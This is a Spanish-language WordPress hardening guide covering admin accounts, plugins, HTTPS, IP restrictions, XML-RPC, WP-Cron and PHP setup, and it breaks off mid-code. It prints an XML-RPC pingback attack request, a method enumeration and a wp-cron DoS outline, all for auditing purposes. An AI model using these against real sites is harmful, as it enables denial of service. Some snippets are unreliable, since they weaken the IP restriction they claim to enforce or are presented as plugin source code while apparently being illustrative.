
Guía completa para endurecer instalaciones de WordPress: cubre cambios de usuario administrador, aplicación de HTTPS, seguridad de plugins, permisos de archivos y configuración del servidor para sitios corporativos estáticos.
Este documento está redactado con el objetivo de ser adecuado para aplicaciones web desarrolladas con WordPress que no interactúan con usuarios. Está destinado principalmente a páginas corporativas de marca, vistas estáticas diversas, páginas de reclutamiento y sitios similares.
Para sitios web donde los usuarios se registran y usan libremente el sitio, como comunidades abiertas, algunos puntos de este documento pueden no ser aplicables. Tenga esto en cuenta al leer.
Este documento no incluye todo el contenido necesario para asegurar WordPress.
Sin embargo, incluye información general y detallada hasta un nivel que permite realizar evaluaciones de riesgos de seguridad y respuestas a vulnerabilidades basadas en la guía.
Si encuentra esto útil, por favor dé una "estrella"🌟 para apoyar mejoras adicionales.
Al instalar WordPress, el nombre de usuario admin predeterminado es "admin" a menos que lo cambie durante el proceso de instalación. El nombre de cuenta "admin" es ampliamente conocido, por lo que debe cambiarse por un nombre diferente. Si continúa usando "admin" como su nombre de usuario admin, un atacante podría intentar un ataque de fuerza bruta usando "admin" para obtener acceso a su sitio WordPress.
Si un atacante obtiene acceso a la cuenta de administrador de WordPress, tendrá control total sobre el sitio web. El nombre de usuario admin predeterminado de WordPress debe cambiarse por un nombre diferente.
Auditoría:
Remediación:
Nota:
Por defecto, WordPress tiene cinco roles de usuario: "Administradores", "Editores", "Autores", "Colaboradores", "Suscriptores"
Estos roles le permiten controlar qué tareas pueden realizar los usuarios en su sitio web asignando permisos apropiados. Si los roles y permisos de usuario no se gestionan adecuadamente, los usuarios podrían obtener acceso innecesario a funcionalidades críticas, representando un riesgo de seguridad significativo.
Auditoría:
Remediación:
| no | Rol | Descripción | Personal Administrativo |
|---|---|---|---|
| 1 | Administrador | Tiene acceso completo a todas las funciones de WordPress y puede gestionar todo el contenido del sitio. | Administradores del Sistema |
| 2 | Editor | Puede gestionar y publicar las entradas de otros usuarios, así como editar y publicar contenido. | Gestores de Servicios Operativos, Colaboradores de Contenido Interno |
| 3 | Autor | Puede escribir y publicar sus propias entradas, y tiene permiso para editar sus propias entradas. | Colaboradores de Contenido Interno |
| 4 | Colaborador | Puede escribir contenido pero no puede publicarlo. Las entradas son revisadas y publicadas por un administrador. | Colaboradores de Contenido Interno |
| 5 | Suscriptor | Puede iniciar sesión en el sitio y gestionar su perfil personal, pero no puede escribir ni editar contenido. | Colaboradores de Contenido Interno |
Nota:
WordPress incluye una función de registro de usuarios incorporada. Esta función está deshabilitada por defecto, pero un administrador puede activarla.
Si esta función está habilitada, cualquiera puede registrarse y potencialmente acceder al panel de administración de WordPress, lo que puede provocar problemas de seguridad. Para la mayoría de los sitios web que no están destinados a operar como comunidades abiertas, la función de registro de usuarios es innecesaria y debe permanecer deshabilitada.
Auditoría:
Usando un navegador web

Usando curl
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**Remediación:**
- Si el registro de usuarios está habilitado, desactívalo.
- Desmarca “Anyone can register”

## 4. Asegúrate de que el Editor de Archivos de Plugins esté Desactivado
Si un atacante accede a una cuenta de Administrador de WordPress, puede tomar el control total de tu sitio web.
Pueden editar el código de tu tema y plugins a través de la función integrada "Editor", cargar scripts maliciosos, desfigurar tu sitio, enviar spam a tus usuarios y más.
Los hackeos comunes a través de estos editores incluyen inyecciones SQL, hackeos de spam SEO y spam SEO japonés.
**Auditoría:**
- Verifica que el editor de archivos esté desactivado.
- Comprueba si puedes acceder al editor a través de Apariencia > Editor o Plugins > Editor de Plugins.
**Remediación:**
- Si el editor de archivos está habilitado, desactívalo siguiendo estos pasos:
1. Accede a tu archivo wp-config.php usando el Administrador de Archivos o FTP
2. Abre el archivo wp-config.php para editarlo.
3. Desplázate hasta la parte inferior del archivo (si usas el wp-config.php predeterminado).
4. Localiza la siguiente línea:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Sobre esta línea, añade el siguiente código:
`
define('DISALLOW_FILE_EDIT', true);
`
6. Guarda los cambios y cierra el editor.
7. Vuelve a tu panel de WordPress y confirma que las opciones del editor ya no están disponibles.
## 5. Asegúrate de que los Plugins No Utilizados e Innecesarios estén Desactivados
Muchas vulnerabilidades en WordPress provienen de problemas de seguridad en los plugins.
Los plugins son de código abierto, lo que facilita que los atacantes encuentren y exploten vulnerabilidades.
Es crucial mantener los plugins que utilizas actualizados y desactivar cualquier plugin no utilizado para evitar una posible explotación.
**Auditoría:**
- Comprueba que los plugins no utilizados e innecesarios estén desactivados.
- Verifica que los plugins no utilizados e innecesarios estén desactivados.
**Remediación:**
- Desactiva cualquier plugin no utilizado e innecesario siguiendo estos pasos:
**Usa Plugin Check - PCP:**
- PCP: https://wordpress.org/plugins/plugin-check
1. Instala y Activa Plugin Check (PCP):
- Ve al panel de administración de WordPress
- Navega a Plugins > Añadir nuevo.
- Busca "Plugin Check" e instálalo, actívalo.
2. Ejecuta una revisión de plugins:
- En el panel de WordPress, ve al menú de Plugin Check.
- Selecciona los plugins que deseas revisar y ejecuta el escaneo.
3. Analiza los resultados del escaneo:
- PCP analizará el código del plugin y proporcionará un informe, que incluye:
- Cumplimiento de estándares de código: Qué tan bien el plugin se adhiere a los estándares de codificación de WordPress.
- Problemas de seguridad: Posibles vulnerabilidades o código malicioso.
- Problemas de rendimiento: El impacto en el rendimiento del sitio web.
- Problemas de compatibilidad: Si el plugin es compatible con otros plugins y temas.
4. Identifica plugins problemáticos:
- Si el informe destaca vulnerabilidades de seguridad significativas, código malicioso o numerosas violaciones de estándares de codificación, es probable que el plugin sea "sospechoso".
- Ten cuidado con los plugins que realizan solicitudes externas innecesarias o ejecutan consultas de base de datos excesivas.
5. Resuelve los problemas:
- Soluciona los problemas identificados actualizando o encontrando los problemas en las páginas de los plugins.
- Evita usar plugins con problemas de seguridad graves. Encuentra plugins alternativos cuando sea necesario.
**Gestión de Plugins:**
1. Selección de Plugins:
- Usa repositorios oficiales, revisa valoraciones y opiniones, verifica la credibilidad del desarrollador
- No uses plugins desconocidos o no verificados
2. Actualizaciones periódicas
- Mantén los plugins actualizados para asegurarte de tener los últimos parches de seguridad.
3. Desactivar y Eliminar Plugins No Utilizados
- Incluso los plugins inactivos pueden suponer un riesgo de seguridad, así que elimínalos si no se usan.
- Minimiza los plugins: Usa solo los esenciales
## 6. Asegúrate de que WordPress esté Configurado para Usar Solo HTTPS, Incluyendo el Administrador de WordPress
Hoy en día, la mayoría de los sitios web están configurados para funcionar sobre SSL (HTTPS).
Sin embargo, algunos servidores web aún pueden estar configurados erróneamente para manejar conexiones HTTP y HTTPS.
Esto puede permitir el acceso a WordPress a través de ambos protocolos, lo que supone un riesgo de seguridad. WordPress, incluido el Administrador de WordPress, debe forzarse a usar exclusivamente HTTPS.
**Auditoría:**
- Verifica que WordPress, incluido el administrador de WordPress, esté configurado para ser accesible solo a través de HTTPS.
- Comprueba la configuración de VirtualHost del servidor web para asegurarte de que no haya VirtualHosts HTTP configurados.
**Remediación:**
- Si es posible el acceso HTTP, primero revisa y modifica la configuración del servidor web.
- Si el servidor tiene VirtualHosts HTTP, redirígelos a HTTPS o elimina los VirtualHosts HTTP.
- Si es necesario, habilita la función "FORCE_SSL_ADMIN" para forzar el acceso HTTPS al Administrador de WordPress.
**Pasos para Habilitar FORCE_SSL_ADMIN:**
1. Accede a tu archivo wp-config.php usando el Administrador de Archivos o FTP.
2. Abre el archivo wp-config.php para editarlo.
3. Desplázate hasta la parte inferior del archivo (si usas el wp-config.php predeterminado).
4. Localiza la siguiente línea:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Sobre esta línea, añade el siguiente código:
`
define('FORCE_SSL_ADMIN', true);`
`
6. Guarda los cambios y cierra el editor.
Vuelve a tu panel de WordPress e inicia sesión de nuevo para asegurarte de que el Administrador de WordPress solo sea accesible a través de HTTPS.
**Redirigir HTTP a HTTPS en el Servidor Web:**
1. Para Apache:
```
<VirtualHost *:80>
ServerName yourwordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. Para Nginx:
```
server {
listen 80;
server_name yourwordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
Al asegurarte de que WordPress y el Administrador de WordPress solo sean accesibles a través de HTTPS, puedes mejorar significativamente la seguridad de tu sitio web, protegiendo datos y evitando accesos no autorizados.
## 7. Asegúrate de que las Restricciones de Acceso por IP (ACL) estén Aplicadas
Verifica que las restricciones de acceso por IP estén aplicadas
Para operar WordPress de forma segura, es esencial aplicar restricciones de acceso por IP a ciertas URLs, incluido el Administrador de WordPress, para evitar que usuarios, computadoras y bots no deseados accedan. Esto implica permitir el acceso solo desde direcciones IP permitidas, como las IP de los administradores. Además, es necesario desactivar funciones no utilizadas para minimizar las superficies de ataque.
Las URLs a asegurar incluyen el Administrador de WordPress, el registro de usuarios (wp-signup.php), la API REST JSON y la función XML-RPC.
Esta guía de seguridad está dirigida a sitios web orientados a servicios como blogs corporativos, páginas de reclutamiento, sitios de marca y sitios promocionales donde la interacción del usuario es mínima y el contenido se exhibe principalmente.
Al implementar restricciones de acceso por IP, puedes reducir significativamente el riesgo de acceso no autorizado y mejorar la seguridad general de tu sitio web.
### 7.1. Asegúrate de que las restricciones de acceso por IP estén aplicadas al administrador de WordPress.
La ruta de acceso al administrador de WordPress es fija en forma de wp-login.php o /wp-admin, lo que facilita el acceso a usuarios no autorizados.
Asegúrate de que se aplique una restricción de acceso por IP para evitar el acceso no autorizado a la página de administración.
**Auditoría:**
- Verifica que las restricciones de acceso por IP estén aplicadas para el administrador de WordPress.
- En la mayoría de los casos, esto se configura en el servidor web (Apache, Nginx).
**Remediación:**
- Si las restricciones de acceso por IP no están aplicadas, impleméntalas.
- A continuación se muestran métodos para aplicar restricciones de acceso por IP usando los servidores web Apache y Nginx.
**Aplicar Restricción de Acceso por IP al Administrador de WordPress:**
- /wp-admin, wp-login.php
1. Para Apache:
```
# Files Directive
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
# FilesMatch Directive
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# Directory, Files Mixing Directive
<Directory /www/vhosts/yourwordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
</Directory>
# Location Directive
<Location "/wp-admin">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
```
2. Para Nginx:
```
location /wp-admin {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
```
### 7.2. Restringe el Acceso por IP o Desactiva la Función de la API REST JSON
WordPress proporciona dos funcionalidades REST (xmlrpc, json rest api) y están habilitadas por defecto al instalar WordPress.
La API REST proporciona endpoints para los tipos de datos de WordPress, permitiendo la interacción remota con el sitio para tareas como consultar entradas o datos, modificar recursos, editar y eliminar.
Para la mayoría de los WordPress, la función de la API REST no es esencial.
Habilitarla puede exponer WordPress a ataques DDoS y podría resultar en consumo de recursos y ralentización del sitio.
**Auditoría:**
- Verifica que la función de la API REST JSON esté habilitada. (Por defecto: Habilitada)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
Remediación:
Instalar el plugin "Disable REST API" y activarlo:
Restricción de acceso por IP para la API REST JSON:
<Location "/wp-json">
Require ip 10.10.77.49 # Reemplaza con tu dirección IP
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Reemplaza con tu dirección IP permitida
deny all;
}
De manera similar a la API REST JSON, es recomendable deshabilitar la API XML-RPC, ya que no es necesaria para la mayoría de las instalaciones de WordPress.
Si la API REST es necesaria, se recomienda utilizar la API REST JSON en su lugar.
XML-RPC tiene dos debilidades principales:
Ataques de fuerza bruta:
Ataques de denegación de servicio a través de Pingback:
Si XML-RPC está habilitado, aún puede ser explotado para tales ataques.
Auditoría:
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**Remediación:**
- Desactivar la función XML-RPC usando un plugin
**Instalar el plugin "Disable XML-RPC-API", Activar:**
1. Ve al panel de administración de WordPress.
2. Navega a Plugins > Añadir nuevo.
3. Busca "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" e instálalo, actívalo.
4. XML-RPC-API ahora está desactivado.
**Acerca de los ataques de pingbacks XML-RPC:**
1. Verificar que XML-RPC está habilitado
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. Buscar métodos XML-RPC disponibles
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. Realizar pingbacks
- El éxito de un ataque de pingback y los métodos específicos de verificación no se describen.
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. Deshabilitar WP-Cron o restringir la función
En WordPress, WP-Cron (wp-cron.php) se utiliza para automatizar tareas como la publicación programada de entradas, las comprobaciones de actualizaciones de plugins/temas y el envío de correos de notificación.
WP-Cron funciona esencialmente revisando la lista de tareas programadas cada vez que se carga una página.
El problema surge cuando hay una carga pesada de páginas.
Como las tareas de WP-Cron se realizan con cada carga de página, múltiples accesos repetidos resultan en invocaciones correspondientes de WP-Cron. En consecuencia, los recursos del sistema pueden escasear, causando que el sitio se vuelva lento o incluso se detenga.
Esto es una ocurrencia real y se explota frecuentemente en ataques de vulnerabilidad dirigidos a WordPress.
Si WP-Cron no es necesario, es recomendable desactivarlo.
Si es necesario, restringir el acceso solo a hosts locales.
**Auditoría:**
- Verificar que WP-Cron está habilitado. (Predeterminado: Habilitado)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
Remediación:
Pasos para deshabilitar WP-Cron:
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Pasos para activar "ALTERNATE_WP_CRON":
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Ejemplo: Usando cron del sistema (crontab):
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**Acerca de realizar un ataque DoS usando wp-cron.php:**
- Enviar un volumen extenso de solicitudes a wp-cron.php
- Esto provoca que el script consuma una cantidad excesiva de recursos, eventualmente sobrecargando el servidor


## 8. Configuración del Sistema para un WordPress Seguro.
Garantizar el funcionamiento seguro de WordPress requiere una configuración adecuada del servidor web y el fortalecimiento de los componentes del backend.
Aquí hay varios elementos esenciales que deben verificarse e implementarse.
### 8.1. Asegurar el uso de versiones de WordPress y PHP que no estén al final de su vida útil (EOL)
Para mantener una instalación segura de WordPress, es esencial utilizar versiones de WordPress y PHP que no estén al final de su vida útil (EOL).
Las versiones EOL ya no reciben soporte ni actualizaciones de seguridad, lo que deja su sitio web vulnerable a problemas de seguridad sin parches.
El uso de versiones compatibles garantiza que cualquier vulnerabilidad descubierta sea abordada rápidamente, protegiendo su sitio de posibles ataques.
Esto es lo que necesita hacer para verificar y actualizar sus versiones de WordPress y PHP:
**Auditoría:**
- Verifique que sus versiones actuales de WordPress y PHP no sean EOL.
**Remediación:**
- Instale y ejecute versiones de WordPress y PHP que no sean EOL.
- A partir de mayo de 2024, la versión compatible de WordPress es 6.5 y superiores. Las versiones compatibles de PHP son 8.1, 8.2 y 8.3.
- Si utiliza un servicio de alojamiento web, aproveche sus funciones de cambio de versión para asegurarse de ejecutar versiones compatibles tanto de WordPress como de PHP.
**Estado EOL a partir de mayo de 2024**
1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
- Versiones actualmente compatibles: 8.1, 8.2, 8.3
2. WordPress: [current-releases](https://wordpress.org/download/releases/)
- Versiones actualmente compatibles: serie 6.5
**Ejemplo: PHP en RockyLinux 8.5**
- En RockyLinux 8.5, las versiones predeterminadas de PHP disponibles son 7.2, 7.3 y 7.4.
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7 ya ha llegado al final de su vida útil (EOL); se recomienda actualizar a PHP 8.
- PHP 8 se puede instalar desde el repositorio REMI.
- Aquí hay un ejemplo de cómo habilitar e instalar PHP 8.2 usando REMI:
```
# Install PHP 8.2 in Rocky Linux 8
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**Nota:**
- Para obtener instrucciones detalladas sobre cómo instalar PHP desde el repositorio REMI: [rpms.remirepo.net](https://rpms.remirepo.net/)
- Documentación sobre compatibilidad de WordPress y PHP: [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
### 8.2. Asegurar que Solo las Extensiones de PHP Necesarias para WordPress Estén Habilitadas
Asegúrese de que solo las extensiones de PHP necesarias para su sitio de WordPress estén habilitadas.
Las extensiones innecesarias pueden aumentar la superficie de ataque de su sitio web y pueden exponer WordPress a vulnerabilidades de seguridad.
Al habilitar solo las extensiones requeridas, puede minimizar los riesgos potenciales y mejorar la seguridad general.
A continuación se indican las necesarias para que un sitio de WordPress funcione correctamente. **(No es una lista con fines de fortalecimiento de seguridad)**
| Extensión | Descripción |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | Se utiliza para la comunicación con otros servidores y el procesamiento de datos en formato JSON. |
| mysqli | Se conecta a MySQL para interacciones con la base de datos. |
| curl | Realiza operaciones de solicitudes remotas. |
| dom | Se utiliza para validar el contenido de los widgets de texto y para configurar automáticamente IIS7+. |
| exif | Trabaja con metadatos almacenados en imágenes. |
| fileinfo | Se utiliza para detectar el tipo MIME de las cargas de archivos. |
| hash | Se utiliza para hashing, incluyendo contraseñas y paquetes de actualización. |
| igbinary | Aumenta el rendimiento como reemplazo directo del serializador PHP estándar. |
| imagick | Proporciona una mejor calidad de imagen para las cargas de medios. Consulte WP_Image_Editor para más detalles. Redimensionamiento de imágenes más inteligente (para imágenes más pequeñas) y soporte de miniaturas PDF, cuando Ghost Script también está disponible. |
| intl | Habilita operaciones sensibles a la configuración regional, incluyendo pero no limitado a formato, transliteración, conversión de codificación, operaciones de calendario, cotejo conforme, localización de límites de texto y trabajo con identificadores de configuración regional, zonas horarias y grafemas. |
| mbstring | Se utiliza para manejar correctamente texto UTF8. |
| openssl | Conexiones basadas en SSL a otros hosts. |
| pcre | Aumenta el rendimiento de la coincidencia de patrones en búsquedas de código. |
| xml | Se utiliza para el análisis XML, como el de un sitio de terceros. |
| zip | Se utiliza para descomprimir plugins, temas y paquetes de actualización de WordPress. |
| bc | Para matemáticas de precisión arbitraria, que admite números de cualquier tamaño y precisión de hasta 2,147,483,647 dígitos decimales. |
| filter | Se utiliza para filtrar de forma segura la entrada del usuario. |
| image | Si Imagick no está instalado, se utiliza la Biblioteca de Gráficos GD como un reemplazo funcionalmente limitado para la manipulación de imágenes. |
| iconv | Se utiliza para convertir entre conjuntos de caracteres. |
| shmop | Shmop es un conjunto de funciones fáciles de usar que permite a PHP leer, escribir, crear y eliminar segmentos de memoria compartida de Unix. |
| simplexml | Se utiliza para el análisis XML. |
| sodium | Valida firmas y proporciona bytes aleatorios seguros. |
| xmlreader | Se utiliza para el análisis XML. |
| zlib | Compresión y descompresión Gzip. |
Las extensiones esenciales se pueden encontrar aquí: [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**Auditoría:**
- Verifique que solo las extensiones de PHP necesarias para su sitio de WordPress estén habilitadas.
**Remediación:**
- Elimine cualquier extensión innecesaria. A veces, las extensiones se instalan junto con los plugins, que pueden no ser necesarias para su sitio.
- Para verificar las extensiones de PHP actualmente habilitadas, puede revisar el archivo **php.ini** o usar la función **phpinfo()** para listar todas las extensiones activas.

- Ciertas extensiones, si no son necesarias, deben deshabilitarse para evitar posibles problemas de seguridad.
- Por ejemplo, extensiones como exif, fileinfo, imap, soap, pdo_sqlite y opcache podrían ser explotadas si se dejan habilitadas sin un uso adecuado.
- Si está utilizando un servicio de alojamiento web, muchos proveedores ofrecen interfaces fáciles de usar para cambiar la configuración de PHP, incluyendo habilitar o deshabilitar extensiones de PHP. Usando estas funciones, puede gestionar las extensiones de manera efectiva.
### 8.3. Asegurar la Seguridad de los Plugins con Funciones de Carga de Archivos
Los plugins con capacidades de carga de archivos pueden ser un riesgo de seguridad significativo si no están debidamente protegidos. Las vulnerabilidades en las funciones de carga de archivos pueden permitir a los atacantes cargar webshells, lo que potencialmente lleva a un compromiso total del sistema. Por lo tanto, es crucial asegurarse de que cualquier funcionalidad de carga de archivos incluya mecanismos de validación y saneamiento.
¿Por qué es esto importante?
1. Validación de extensión:
- El servidor debe validar las extensiones de archivo contra una lista blanca de tipos permitidos para evitar la carga de archivos maliciosos.
2. Verificación de tipo MIME:
- Se debe verificar el tipo MIME del archivo para asegurar que coincida con el tipo esperado, agregando una capa adicional de seguridad.
3. Restricciones de ruta de carga:
- Asegúrese de que no haya rutas expuestas que permitan el acceso directo a archivos cargados sin validación.
Las vulnerabilidades de carga de archivos son particularmente peligrosas porque proporcionan una ruta directa para que los atacantes carguen código ejecutable y ejecuten comandos arbitrarios. Las vulnerabilidades de carga de archivos suelen ser más fáciles de identificar y explotar en comparación con otras fallas de seguridad como la inyección SQL.
**Auditoría:**
- Identifique los plugins con funcionalidad de carga de archivos en su sitio de WordPress.
- Verifique que estos plugins implementen comprobaciones de validación adecuadas para los archivos cargados, incluyendo la validación de extensión y tipo MIME.
**Remediación:**
- Si un plugin con funcionalidad de carga de archivos carece de una validación adecuada, mejore su seguridad o elimine el plugin.
- A continuación se muestran ejemplos de plugins populares de WordPress con funciones de carga de archivos y cómo manejan la validación de archivos.
**Ejemplo: Plugins populares de WordPress con manejo de carga de archivos**
1. Contact Form 7
- Contact Form 7 es uno de los plugins de formularios más utilizados en WordPress. Incluye funcionalidad básica de carga de archivos con validación de extensión y tipo MIME.**Código para extensiones permitidas y verificación de tipo MIME:**
function wpcf7_allowed_file_extensions() { // Default allowed file extensions $allowed_file_extensions = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip' ); return $allowed_file_extensions; }
function wpcf7_handle_upload( $file ) { $allowed_mime_types = wpcf7_allowed_file_extensions(); $file_type = wp_check_filetype( $file['name'] );
// Check if the file type is allowed
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
}
// Handle the file upload
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Check if the upload was successful
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
En Contact Form 7, la función `wpcf7_allowed_file_extensions()` devuelve una lista de extensiones de archivo permitidas, y la función `wpcf7_handle_upload()` verifica si la extensión del archivo está en esta lista antes de proceder con la carga.
2. WPForms
- WPForms maneja las cargas de archivos verificando los tipos de archivo permitidos.
**Código de ejemplo para WPForms:**
function wpforms_get_file_types() {
// Return an array of allowed file types
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) { $allowed_file_types = wpforms_get_file_types(); $file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
